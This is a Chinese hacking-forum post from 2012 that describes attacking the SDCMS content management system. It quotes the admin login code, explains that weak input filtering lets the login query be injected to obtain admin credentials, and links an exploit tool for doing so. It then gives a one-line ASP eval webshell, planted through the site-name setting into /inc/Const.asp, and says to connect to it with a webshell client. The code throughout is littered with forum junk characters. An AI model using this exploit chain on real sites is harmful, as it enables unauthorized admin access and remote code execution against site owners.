中国网络渗透测试联盟

标题: SDCMS通杀漏洞利用工具及提权拿SHELL [打印本页]

作者: admin    时间: 2012-11-9 20:57
标题: SDCMS通杀漏洞利用工具及提权拿SHELL
作者:T00LS 鬼哥/ P& Z- B- k* D
漏洞文件:后台目录/index.asp
3 K0 j2 r, Y5 w" \- O2 V8 d2 P) s8 K4 w$ F: j( F& I& S
Sub Check  W5 ^. B+ N3 m
    Dim username,password,code,getcode,Rs" q, }! s# Y" V
    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub  y  F5 K4 q' x4 T7 K" ^! y& f
    username=FilterText(Trim(Request.Form("username")),1)" d6 x) ?- _# i
    password=FilterText(Trim(Request.Form("password")),1)2 G& g! Y0 _4 J" Z
    code=Trim(Request.Form("yzm"))
3 X5 H# p; C- L: w" }2 q    getcode=Session("SDCMSCode")2 n" ^, }- ?9 l
    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died! L8 K- }1 k) O& b& c4 J* p
    IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)"ied
" J2 u4 Q2 l- V    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)"ied
) u: o5 z- c2 J, m  P, g    IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)"ied3 I( z0 b0 i1 p" ?4 v/ H
    IF username="" or password="" Then5 p, y  u0 @9 J9 c
        Echo "用户名或密码不能为空"ied  m6 w5 e+ o( Y
    Else
4 P) k/ H) W/ V) f        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
* F+ ]5 [) v$ ~! E+ z& @        IF Rs.Eof Then; d3 x3 t7 \  t  U+ Z5 h. K
            AddLog username,GetIp,"登录失败",1
. ]6 d  H# n+ m1 d            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"+ m4 e! ~" c/ h9 K2 [
        Else
( U" m' d0 Z9 E* s$ \4 g- z# T            Add_Cookies "sdcms_id",Rs(0)
$ k" M. J) k# ~            Add_Cookies "sdcms_name",username$ R: R, ^) |, f2 C) l9 N) y
            Add_Cookies "sdcms_pwd",Rs(2)
2 d- a+ S$ s+ ^5 u0 y            Add_Cookies "sdcms_admin",Rs(3), \# e7 b4 ]" Y3 C, i: L2 n
            Add_Cookies "sdcms_alllever",Rs(4)$ o( n% y0 c( `8 q2 N% }
            Add_Cookies "sdcms_infolever",Rs(5)
$ c$ F9 m; B" R' @            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
! w7 x: R2 H$ O8 n, X            AddLog username,GetIp,"登录成功",1% u' N) j0 I6 X- X8 [& _
            '自动删除30天前的Log记录0 _' T# B# ~  @* }2 k: P& y
            IF Sdcms_DataType Then2 f7 L- Q: ^# E$ f# F
                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")& ^+ {7 t2 `5 s, |
            Else
: @# n- ]) \) P# |! r                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30"); @, R( s4 @. X
            End IF
# U3 d: v" A" @3 u3 N: W            Go("sdcms_index.asp")& ^* F) a0 z' v6 L( @: L
        End IF
4 l% U/ j* m8 X9 B        Rs.Close$ H3 g0 m. N/ H. D) \
        Set Rs=Nothing
4 b4 D' O9 d, Z  |    End IF& l* Z5 P5 b% \/ m$ u1 b$ f
End Sub
& \7 ]9 ]2 ^' e: C7 v3 ]: z& a  e0 o) d9 \1 v2 T* z. ]
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码/ {, W5 `. L+ {
- v* Y# E2 I3 B6 e5 f4 J
Function FilterText(ByVal t0,ByVal t1)0 L% O; H# V- I
    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function8 C0 w* n+ v, a, E0 K: B' F
    t0=Trim(t0)
# l# _( H, W. P1 R( Q9 b: X. E    Select Case t1
! ~" k% G  j. f6 R) s( P% J& c* f" @        Case "1"
5 w; c+ D) Y0 O0 w9 S, S  i* b4 [1 s            t0=Replace(t0,Chr(32),"")/ `7 f4 }- x* q1 b+ @: w( G
            t0=Replace(t0,Chr(13),"")7 X6 L' R$ V: e( {  N. B6 Y, q
            t0=Replace(t0,Chr(10)&Chr(10),"")
8 X5 u9 S0 b( ]8 X  K$ M3 J            t0=Replace(t0,Chr(10),""). E4 q; K% D' c1 }; `
        Case "2"
8 ^8 c  ^/ w5 u4 q! q            t0=Replace(t0,Chr(8),"")'回格
& M6 {. L  b; f+ _& N            t0=Replace(t0,Chr(9),"")'tab(水平制表符)* ~8 V0 n' u0 g6 p
            t0=Replace(t0,Chr(10),"")'换行
" B3 t# S' v; n( k3 m            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
) J: N1 ?9 Q# _- K* Z% X            t0=Replace(t0,Chr(12),"")'换页+ e  C9 K( l3 I0 b; K
            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合& i. M1 {8 r0 u8 c4 _& M, r8 s. \
            t0=Replace(t0,Chr(22),"")4 m* h) l3 g6 s) V
            t0=Replace(t0,Chr(32),"")'空格 SPACE
- g3 E% O0 m6 G! Q  H( M            t0=Replace(t0,Chr(33),"")'!7 n/ F# P# k* g# h
            t0=Replace(t0,Chr(34),"")'"
, n9 W. H! B% z6 z% |. H: y% c            t0=Replace(t0,Chr(35),"")'#+ z$ i- t/ f7 E) l
            t0=Replace(t0,Chr(36),"")'$0 Z5 X3 p3 ]0 Y5 z
            t0=Replace(t0,Chr(37),"")'%+ l& h% b$ P) J1 n2 t
            t0=Replace(t0,Chr(38),"")'&
5 ~0 ], b( s$ F8 p5 n            t0=Replace(t0,Chr(39),"")''! Z% H& Q' y6 {
            t0=Replace(t0,Chr(40),"")'(
8 E8 F& q% h1 ?2 I2 K, o            t0=Replace(t0,Chr(41),"")'). S$ a( d! A! L1 ?0 s8 ]. W; m
            t0=Replace(t0,Chr(42),"")'*
0 Q: l- ^6 y0 `, W4 Y) e8 G7 _            t0=Replace(t0,Chr(43),"")'+
$ }- Z& S; Z! t. R. r/ W            t0=Replace(t0,Chr(44),"")',
, i* F4 L9 u4 F) [1 O            t0=Replace(t0,Chr(45),"")'-
: W& C2 R2 V7 {. ?            t0=Replace(t0,Chr(46),"")'.
4 u+ r! P' D+ b3 e5 ]# V            t0=Replace(t0,Chr(47),"")'/* M5 ^; Z0 k8 |% U  y4 o9 @
            t0=Replace(t0,Chr(58),"")':1 V) N- C  A, r! |, {
            t0=Replace(t0,Chr(59),"")';7 n/ X' g# D! w
            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>
7 A1 R) D* u$ m6 e$ F. Z  l            t0=Replace(t0,Chr(63),"")'?: H6 A, I. _* l. R! C
            t0=Replace(t0,Chr(64),"")'@% {" F2 n* u3 n* u8 d
            t0=Replace(t0,Chr(91),"")'\1 R1 v( G) P, d6 [; Y- X
            t0=Replace(t0,Chr(92),"")'\& C# U5 h5 U7 p5 L
            t0=Replace(t0,Chr(93),"")']
/ `' o' o# E9 f( k3 w6 c# a            t0=Replace(t0,Chr(94),"")'^2 q$ x7 T2 u$ i% q0 @2 B! S
            t0=Replace(t0,Chr(95),"")'_
) B5 m7 K; D; ~8 B1 W            t0=Replace(t0,Chr(96),"")'`3 z$ r* V5 \  m4 l! n5 z6 A
            t0=Replace(t0,Chr(123),"")'{; S, x& Z8 b3 ~" T" g
            t0=Replace(t0,Chr(124),"")'|
) L: s+ \' o. z3 [, L/ Q            t0=Replace(t0,Chr(125),"")'}6 d) W2 f+ p2 J* u- N, h5 f5 |% m
            t0=Replace(t0,Chr(126),"")'~
6 T" H# ^/ [$ V$ P" ]( s) R    Case Else1 F0 K* C  j. x/ [) A
        t0=Replace(t0, "&", "&")( y/ O" O; ^  S/ c  u
        t0=Replace(t0, "'", "'")
8 Q+ T0 x, M) z: @; W9 j4 g7 R        t0=Replace(t0, """", """)  _" @8 Y8 l2 t& s
        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
' q# k8 y6 N: X; v5 t% v    End Select
$ U) M4 C: e8 X    IF Instr(Lcase(t0),"expression")>0 Then
' {% f) |: c( {+ q4 s: Z        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
) {3 O7 z9 Y# R$ c6 ^$ C' {    End If. J/ ~9 T$ Y; s+ B* j  D( z
    FilterText=t0
2 G: q3 x5 w' o8 {5 E! pEnd Function
7 R% ?! {8 |- W3 v) E% `
% \9 M( w- Q# D5 t% J看到没。直接参数是1 只过滤
2 ^4 e/ a% t( {4 A0 \$ m2 w                        t0=Replace(t0,Chr(32)," ")
1 z& ^* K/ {- K/ p7 y$ K                        t0=Replace(t0,Chr(13),"")
; Q: h# j3 K: y2 N4 F7 O5 M5 O                        t0=Replace(t0,Chr(10)&Chr(10),"
) Z5 H) o/ B9 F1 V7 E2 g* x! n")( n/ _! k2 I! d! }8 p+ L9 |$ R- ]
                        t0=Replace(t0,Chr(10),"
3 r2 P! U6 z" \% f& y1 A, F, P")" u! f$ I. P" V0 L
漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
: |; q- Y) V% r- h" c' ~' \EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
; `- z+ g# @1 ?
, \5 V8 u- m# |4 i+ F+ E4 F测试:' I$ E6 m0 }5 ]

1 ?2 X7 N2 K1 k! E4 r, \1 i+ e0 c* y9 K- u! J$ @
现在输入工具上验证码,然后点OK
6 N) @' }( V8 M5 e( P: S' Z& t8 \) F# j1 @, R% R4 |2 t! R

+ Q( c  m  |0 o% I看到我们直接进入后台管理界面了,呵呵!/ S$ h7 i) e$ y! k7 r, E
# d3 n/ Y) M5 P/ g
6 m, i3 \  T6 @4 e! j' o: b/ e

, s9 Y! C! M) b9 W9 K这样直接进入后台了。。。。; R: g# h% k/ G( H1 `

" p; ?4 H: f" t& f6 b
4 F! C! L, [- P5 r0 h
! f) [9 j( f; [6 |1 {9 A3 wSDCMS提权:" B# P* \% M+ N& l& Z5 f+ Q
" F9 `6 o5 }' |% d
方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’  即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
& g3 ~& Q; o. {2 q& [: a
/ s0 W3 Y0 K9 i! g, z# `1 N5 E, _) P, r0 g
+ M" I$ t/ D3 m, _- i- v
OK,现在用菜刀连接下!
* m; H* ?7 B6 P1 h9 R- Z( n  h1 Q6 U0 E* w9 u/ e- H4 }$ `
8 b. u. |+ F2 o2 _5 W0 R

: o  o3 x. _% w
/ I$ a& G/ c* q! q1 x- ]# g! M! d' }/ O! e7 X6 x' P& n/ ]





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2